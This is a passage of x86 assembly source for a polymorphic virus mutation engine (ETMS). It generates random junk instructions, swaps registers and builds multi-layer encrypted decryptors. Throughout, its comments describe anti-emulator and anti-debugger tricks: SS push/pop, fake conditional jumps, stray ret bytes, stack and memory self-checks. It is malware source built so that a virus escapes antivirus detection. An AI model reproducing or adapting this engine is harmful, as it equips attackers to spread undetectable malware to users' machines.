cmp al,2
jae no_change
word_change:
mov ecx,dword ptr [edi-2]
mov byte ptr [edi-2],66h ; the prefix
mov dword ptr [edi-1],ecx
inc edi
mov al,2
jmp post_no_change
no_change:
mov al,4
post_no_change:
xchg eax,ecx ; in ECX needed immediates
ret
imm_assign:
call get_register
mov al,0b8h ; base
add al,cl
stosb
inc edi
call g_dimension
dec edi
; jmp put_immediates
put_immediates:
; cl how many
call get_random
put_imm_part:
stosb
shr eax,8
loop put_imm_part
ret
inc_dec_reg:
call get_random
and al,01000b ; 0 or 8
add al,40h ; incdec generation
call get_register
add al,cl
stosb
inc edi
call g_dimension
dec edi
ret
xchg_regs:
mov al,087h ; xchg eax,eax
call get_register
mov ah,cl
call get_register
common_test_xchg:
shl cl,3
add ah,cl
add ah,0c0h
stosw
jmp g_dimension
test_regs:
call get_random
xchg eax,ecx
and cx,0707h
mov ah,ch
mov al,085h ; test eax,eax
jmp common_test_xchg
temp_save_change:
call get_random_al7
sub al,6 ; 1/4 probability, since this couldn't
jc skip_changer ; come too often
call select_save
jc skip_changer
push ecx
call save_mov_xchg
xchg eax,ecx ; in al new register
mov al,byte ptr [edx] ; imp_reg
shl al,3
xchg eax,ecx
add al,cl
or al,0c0h
xchg al,ah
stosw ; mov important_reg,some_reg
pop ebx
mov byte ptr [r_used+ebp],bl ; restore regs status
skip_changer:
ret
select_save:
call get_random_al7
sub al,5 ; get from 0 to 2
jc select_save
xchg eax,edx
add edx,offset r_pointer
add edx,ebp
mov al,byte ptr [edx]
cmp al,0ffh ; not already assigned?
je exit_bad
cmp al,20h ; no key signature, if so skip
je exit_bad
call is_used ; maybe is already saved on stack or
jnz return_good ; such?
exit_bad:
stc
ret
return_good:
mov cl,byte ptr [r_used+ebp]
clc
ret
save_mov_xchg:
xchg eax,ebx
call get_register ; get an usable register
xchg eax,ecx
call set_used ; set this one as used
call unset_used ; and the previous as unused
mov ah,087h ; xchg reg,reg base
push eax
xor ecx,ecx
call get_random ; select if using mov or xchg
shr al,1
jc use_mov_first
mov cl,4 ; + 4 becames mov reg,reg base
use_mov_first:
shr al,1 ; when just saving this won't be used
jc use_mov_after ; select whichone for restore aswell
mov ch,4
use_mov_after:
pop eax
add ah,ch ; restore one
push eax
sub ah,ch
add ah,cl
shl al,3 ; * 8
add al,bl
or al,0c0h ; mov some_reg,important_reg
xchg al,ah
stosw ; put the moving of regs
call rnd_garbage
pop eax
ret
sets_misc:
call get_random ; type of sel
mov al,0fh
and ah,al
add ah,090h
call get_register
cmp cl,3
ja cant_useset ; won't retry, so not too many
stosw
bswap eax ; rnd
shr al,1
jc docs_ones
add cl,08h ; has 2 set of ocodes
docs_ones:
shr al,1
jc low_ones
add cl,04h ; high or low 8
low_ones:
mov al,0c0h
add al,cl
stosb
ret
cant_useset: ; shld/shrd
test ah,110b ; last bit used later
jnz no_66p
push eax
mov al,066h ; with words
stosb
pop eax
no_66p:
shr ah,1
mov ah,0a4h
jc do_shlld
add ah,0ch-04h ; shrd
do_shlld:
cmp cl,7
jne noss_with_cl
inc ah ; with immediate cl
noss_with_cl:
stosw
call get_random
and al,0111000b
call get_register
add al,cl
add al,0c0h ; in ah we have rnd sh nr
stosb
test byte ptr [edi-2],01b ;was using cl?
jnz wasnt_with_cl
dec edi
stosw
wasnt_with_cl:
ret
xadd_cmpxchg:
call get_random
and ah,10h ; 10h or 00h
jc np_nchk
test byte ptr [ebp+r_used],01b ; is ax used?
jnz home_xx ; if so no cmpxchg
np_nchk:
test al,110b
jnz no_66pr
mov al,66h
stosb
no_66pr:
add ah,0b1h
cmp byte ptr [edi-1],066h
je cant_byterize
and al,1
sub ah,al ; cmpxchg or xadd with b or notb
cant_byterize:
mov al,0fh
stosw
get_reg1:
call get_register
mov ch,cl
get_reg2:
call get_register
mov al,0c0h
test byte ptr [edi-1],01b ; was using bytes?
jnz no_byteprob
cmp ch,3 ; if bytes must be <= 3
ja get_reg1
cmp cl,3
ja get_reg2
push eax
bswap eax ; high part of rnd
and ax,010000000100b ; random +4 on both src and dest
add cx,ax
pop eax
no_byteprob:
shl cl,3
add al,cl
add al,ch
stosb
home_xx:
ret
emu_stuffy: ; some stuff to try to fool emus
call get_random
and al,011111b ; not too often
jnz keep_few_ae
lea edx,[ebp + offset t_pushed]
shr ah,1
jc regs_checking
shr ah,1
jc xlat_generation
stack_checking:
; check if stack seems consistent or not
mov al,68h ; push immediate opcode
stosb
call get_random
stosd
push eax
xor ch,ch ; nr of dword on stack
xchg ch,byte ptr [edx] ; don't smash our stack
call rnd_garbage
call get_register
mov al,cl
call set_used
mov bl,al
add al,058h ; pop opcode
stosb
mov byte ptr [edx],ch ; can work on stack again
call rnd_garbage
call unset_used
typepopchk:
call get_random
shr al,1
jnc check_posones
and ah,100000b ; add/and reg32, not/neg imm
jnz just_not_atesp
dec dword ptr [esp] ; since add needs the neg value
just_not_atesp:
not dword ptr [esp] ; the imm
add ah,0c0h
jmp chksta_st
check_posones:
and ah,011000b
jz typepopchk
add ah,0e0h
chksta_st:
mov al,81h ; cmp/sub/xor reg32,imm
add ah,bl
stosw
pop eax ; value to check with
stosd
check_okequ:
mov bx,07574h
jmp do_jumpzh
regs_checking:
shr ah,1
jc ss_play
shr ah,1
jc mem_write
; ones just checking our regs (pointer and counter) consistency
; compare with zero in various ways and jump at the right code if !=
cmp dword ptr [edx - (offset t_pushed - offset w_loopbg)],00h
; not in the loop
jne keep_few_ae
bswap eax
and eax,01b ; 0 or 1
add eax,ebp
add eax,offset r_pointer ; so will be r_pointer or r_counter
mov al,byte ptr [eax]
inc al ; already initialized ?
jz keep_few_ae
dec al
call is_used ; check that we aren't in moving thingy
jz keep_few_ae
reran_h:
call get_random_al7 ; type of cmp
cmp al,5
jae or_oring ; do or reg,reg
lea ebx,[edx - (offset t_pushed - offset chk_counter)]
add ebx,eax ; which one
mov ah,byte ptr [ebx]
mov al,83h
add ah,cl
stosw
xor al,al
stosb ; with a zero
jmp do_jumpzh_reg
or_oring:
mov ax,0c00bh ; or eax,eax base
add ah,cl ; have in cl the reg
shl cl,3
add ah,cl ; both src and dest
stosw
do_jumpzh_reg:
mov bx,07475h
; JZ and JNZ creation (considering BH is okay, while BL makes shit)
do_jumpzh:
call get_random
shr al,1 ; do jz or jnz ?
jnc do_jz_easily
; else we have to do a construction with
; more sense
mov al,bl
stosw
too_long_redo:
push dword ptr [edx] ; save stack situation
mov ebx,edi ; jmp offset +1
call rnd_garbage
call get_random ; random byte to break execution or ret
shr ah,1
jc no_jmpback ; do a long jmp back to hide the loop one
mov al,0e9h
stosb
or ax,0ffffh ; not too long
bswap eax
or ah,0f8h
stosd
jmp comehome
no_jmpback:
shr ah,1
jnc rndbyteuse
mov al,0c3h ; a ret is quite polite for the emu :)
rndbyteuse:
stosb
comehome:
call rnd_garbage
pop dword ptr [edx]
mov eax,edi
sub eax,ebx
cmp eax,07fh ; see it is not too long for a short jmp
jbe oki_lenght
mov edi,ebx ; else retry
jmp too_long_redo
oki_lenght:
mov byte ptr [ebx-1],al
jmp keep_few_ae
do_jz_easily:
mov al,bh ; jz short to some random location
stosw
keep_few_ae:
ret
xlat_generation: ; is xlat emulated? anyway, hc garbage :)
shr ah,1
jnc enter_generation
test byte ptr [edx - (offset t_pushed - offset r_used)],01001b
jnz keep_few_ae ; are ebx and eax unused ?
mov al,0bbh ; mov ebx
stosb
push edx
call get_address ; a decent mem addy
stosd
pop edx ; set ebx as used
or byte ptr [edx - (offset t_pushed - offset r_used)],01000b
call rnd_garbage ; and then unset ebx as used
and byte ptr [edx - (offset t_pushed - offset r_used)],(NOT 1000b)
mov al,0d7h ; xlat opcode
stosb
ret
enter_generation: ; some more funny garbage
mov al,0c8h ; enter
stosb
bswap eax
and al,0111100b ; requested stack
stosb
xor al,al
stosb
stosb
xchg al,byte ptr [edx] ; don't smash our stack
mov ah,byte ptr [edx - (offset t_pushed - offset r_used)] ; no ebp
or byte ptr [edx - (offset t_pushed - offset r_used)],100000b
call rnd_garbage
mov byte ptr [edx],al
mov byte ptr [edx - (offset t_pushed - offset r_used)],ah
mov al,0c9h ; leave
stosb
ret
ss_play:
; opcodes that modify SS (actually they don't change it, but will
; make life harder for debuggers and some emus hopefully)
shr ah,1
jc with_regs_ssplay
; first way, just push ss and then pop ss later
mov al,016h ; push
stosb
xor ah,ah
xchg ah,byte ptr [edx] ; don't smash our stack
call rnd_garbage
xchg ah,byte ptr [edx]
inc al ; pop
stosb
ret
with_regs_ssplay:
; mov reg,ss and later mov ss,reg
and ah,011b
jnz no_66pfss
mov al,066h ; is oky anyway
stosb
no_66pfss:
call get_register
mov ax,0d08ch ; mov reg,ss
add ah,cl
stosw
xchg eax,ecx
call set_used ; don't mess with that one
call rnd_garbage
xchg eax,ebx
call unset_used
xchg eax,ecx
inc al
inc al ; mov ss,reg
stosw
ret
mem_write:
; write a dd somewhere (back where we won't go :) ) and then check
; if the contents are the same after some garbage
cmp byte ptr [edx - (offset t_pushed - offset m_writes)],01h
; don't nest, could work
je exit_mw_r ; on same addy (should be)
; well we could even put this
; away :P
inc byte ptr [edx - (offset t_pushed - offset m_writes)]
call get_random ; get a register
and ah,0111000b
push eax
add ah,05h
mov al,089h
stosw
mov ecx,[edx - (offset t_pushed - offset t_inipnt)]
restart_memsearch:
mov ebx,[edx - (offset t_pushed - offset w_loopbg)]
or ebx,ebx ; not in the loop
jnz looping_alr
cmp byte ptr [edx - (offset t_pushed - offset t_inacall)],01h
; could overwrite ourslv
jne can_proceed_mw
bad_mem:
pop eax
dec edi
dec edi
exit_mw:
dec byte ptr [edx - (offset t_pushed - offset m_writes)]
exit_mw_r:
ret
can_proceed_mw:
mov ebx,edi ; else can do from here down, anyway
; we won't return to it and we are
; sure that layers are not back
looping_alr:
sub ebx,4
cmp ebx,ecx ; is there at least a bit of place?
jbe bad_mem
call get_random
and eax,03ffh
sub ebx,eax
sub ebx,ecx
jc restart_memsearch
add ebx,[edx - (offset t_pushed - offset v_runnin)]
mov eax,ebx
stosd
call get_random ; check what was written or not?
shr al,1 ; to make less visibile maybe ;)
pop eax ; the used reg
jc exit_mw
xchg al,ah
shr al,3
call is_used
pushf
call set_used
call rnd_garbage
popf
push ebx
jnz wasntusedb
mov ebx,eax ; if was used then nuthing, else
call unset_used ; put reusable
wasntusedb:
shl al,3
add al,5
mov ah,03bh ; cmp reg, memval
xchg ah,al
stosw
pop eax
stosd ; the addy
jmp check_okequ
from_stack: ; read/write stuff from stack referencing
; with esp quite often found in windoze code
call get_random ; type of operation
and al,0fh
cmp al,8
jae make_mov
shl al,3
inc al
jmp selected_op
make_mov:
mov al,89h
selected_op:
mov ch,al
bswap eax
mov al,byte ptr [ebp + t_pushed] ; 'our' dd on stack
or al,al
jz cant_write_anyway
cmp byte ptr [ebp + t_inacall],01h
je cant_write_anyway
dec al
mov cl,al
call get_random_al7
cmp al,cl
ja cant_write_anyway ; don't retry, so less writes
mov ah,al
jmp prepare_all
cant_write_anyway:
and ah,0111b
add ch,02h
prepare_all:
mov al,ch
stosb
call get_register
shl cl,3
or ah,ah
jz dont_addesp ; just [esp], no + imm
add cl,40h
dont_addesp:
add cl,04h
xchg al,cl
stosb
mov al,24h
stosb
or ah,ah
jz no_immesp
shl ah,2 ; * 4, dword padded is always used
mov al,ah
stosb
no_immesp:
ret
; tables for various purposes
garbage_mask equ 1fh
garbage_number equ 14h
garbage_offsets:
dd offset call_subroutines
dd offset gen_one_byters
dd offset mov_registers
dd offset mem_assign
dd offset mem_mathops
dd offset maths_immediate
dd offset maths_immediate_short
dd offset maths_registers
dd offset rotating_imms
dd offset notneg_register
dd offset imm_assign
dd offset inc_dec_reg
dd offset xchg_regs
dd offset test_regs
dd offset temp_save_change
dd offset cdq_jmps_savestack
dd offset diff_movz
dd offset sets_misc
dd offset xadd_cmpxchg
dd offset emu_stuffy
dd offset from_stack
one_byters db 090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h
change_jump db 098h,099h,0ebh,0e9h
_math_imm:
dw 008c1h ; ror d[ebx],imm
dw 02881h ; sub d[ebx],imm
dw 03081h ; xor d[ebx],imm
dw 00081h ; add d[ebx],imm
dw 000c1h ; rol d[ebx],imm
_math_key:
dw 008d3h ; ror d[ebx],cl
dw 00029h ; sub d[ebx],eax
dw 00031h ; xor d[ebx],eax
dw 00001h ; add d[ebx],eax
dw 000d3h ; rol d[ebx],cl
; cmp,or,xor,sub,add
chk_counter db 0f8h,0c8h
key_changers db 0e8h,0f0h,0c0h ; xor sub add
db 0c0h,0c8h ; ror rol
db 0d0h ; not
db 040h,048h ; inc dec
krappo_gen:
call get_random ; generate krap bytes
and eax,01fh
jz exit_krappo
xchg eax,ecx
krap_stuffy:
call get_random
stosb
loop krap_stuffy
exit_krappo:
ret
get_random_al7:
call get_random
and eax,0111b
ret
get_random:
push ebx
push edx
db 0b8h ; mov eax,
seed dd 000h ; random seed, must be < im
mov ebx,4096d ; ia
mul ebx
add eax,150889d ; ic
adc edx,0
mov ebx,714025d ; im
push ebx
div ebx
mov dword ptr [seed+ebp],edx
xchg eax,edx
cdq
xor ebx,ebx
dec ebx
mul ebx ; * 2^32 - 1
pop ebx
div ebx ; here we have a 0<=rnd<=2^32
pop edx
pop ebx
ret
is_used:
; AL register
push eax
mov cl,al
mov al,1
shl al,cl
test byte ptr [r_used+ebp],al
pop eax
; Z = register not used
; NZ = register used
ret
set_used:
; AL register
push eax
xor ah,ah
bts word ptr [r_used+ebp],ax
pop eax
ret
unset_used:
; BL register
xor bh,bh
btr word ptr [r_used+ebp],bx
ret
get_register:
push eax
reget_reg:
call get_random_al7
call is_used
jnz reget_reg ; check we aren't using it
; the is_used will put the reg in cl
pop eax
ret
get_address:
push esi
mov ebx,edi
lea esi,[offset v_runnin + ebp]
db 081h,0ebh ; sub ebx,initial_edi
t_inipnt dd 00h ; so we have actualy dec lenght
add ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)]
mov edx,dword ptr [esi]
db 0b1h ; mov cl,
t_memand db 00h ; significant bits present
add edx,ebx
search_offset2:
call get_random
shl eax,cl
shr eax,cl
cmp eax,dword ptr [esi] ; is < starting off of poly?
jb search_offset2
look_foroff2:
cmp eax,edx ; upper border
jbe ok_offset2
sub eax,ebx
jmp look_foroff2
ok_offset2:
pop esi
ret
; how much memory does the ETMS need, so you can substract from the lenght
; of the virus on file of course
_mem_space = (offset _mem_data_end - offset _mem_data_start)
; everything down there just in mem, don't save it in your file
_mem_data_start:
r_pointer db 00h ; register used as pointer
r_counter db 00h ; register used as counter
r_regkey db 00h ; register used as key, 20h use
; immediate as key
r_used db 00000000b
; bits meaning 0 0 0 1 0 0 0 0
; E E E E E E E E
; D S B S B D C A
; I I P P X X X X
t_chgpnt db 00h ; changes to be made to pointer
t_chgcnt db 00h ; changes to be made to counter
t_chgkey db 00h ; changes to be made to key register
t_chgmat db 00h ; changes to be made to operation
t_exitjmp db 00h ; 01 has to create exit jmp, 00h no
t_prejmp db 00h ; number of key changes b4 jmp
m_writes db 00h ; already written mem in a loop?
; ne stavit nic tukaj ali menjaj inicializacijo!
t_pntoff dd 00h ; offset added to pointer (00h if not
; added)
t_cntoff dd 00h ; constant to be added to counter
; value
t_fromend db 00h ; 00h from start, else from end
t_countback db 00h ; 01h decrementing, else incrementing
t_pushed db 00h ; pushed dwords
t_maxjmps db 00h ; max jumps
t_inacall db 00h ; into a call or not
db 00h
v_lenght dd 00h ; lenght
v_virusp dd 00h ; pointer to body
v_runnin dd 00h ; offset at which dec will run
w_counter dd 00h ; where counter is assigned - 1
w_loopbg dd 00h ; where loop begins
w_encrypt dd 00h ; pointer on current pos in encryptor
orig_dx dd 00h
t_chkpos dd 00h ; position of the checking jmp
l_space equ (enc_max + 10h)
tl_space equ (6 * l_space)
layer_end dd 00h ; last nr of layer * layer dim
layer_nr dd tl_space ; number of layers (0-6) * layer dim
; data structures for all the layers
; first layer is the last in mem and so on...
enc_space:
dd 00h ; initial key
dd 00h ; counter
dd 00h ; initial pointer
dd 00h ; position of the pointer in dec
db enc_max dup (90h) ; encryptor
dd 4 dup (00h)
db enc_max dup (90h)
dd 4 dup (00h)
db enc_max dup (90h)
dd 4 dup (00h)
db enc_max dup (90h)
dd 4 dup (00h)
db enc_max dup (90h)
dd 4 dup (00h)
db enc_max dup (90h)
dd 4 dup (00h)
db enc_max dup (90h)
_mem_data_end: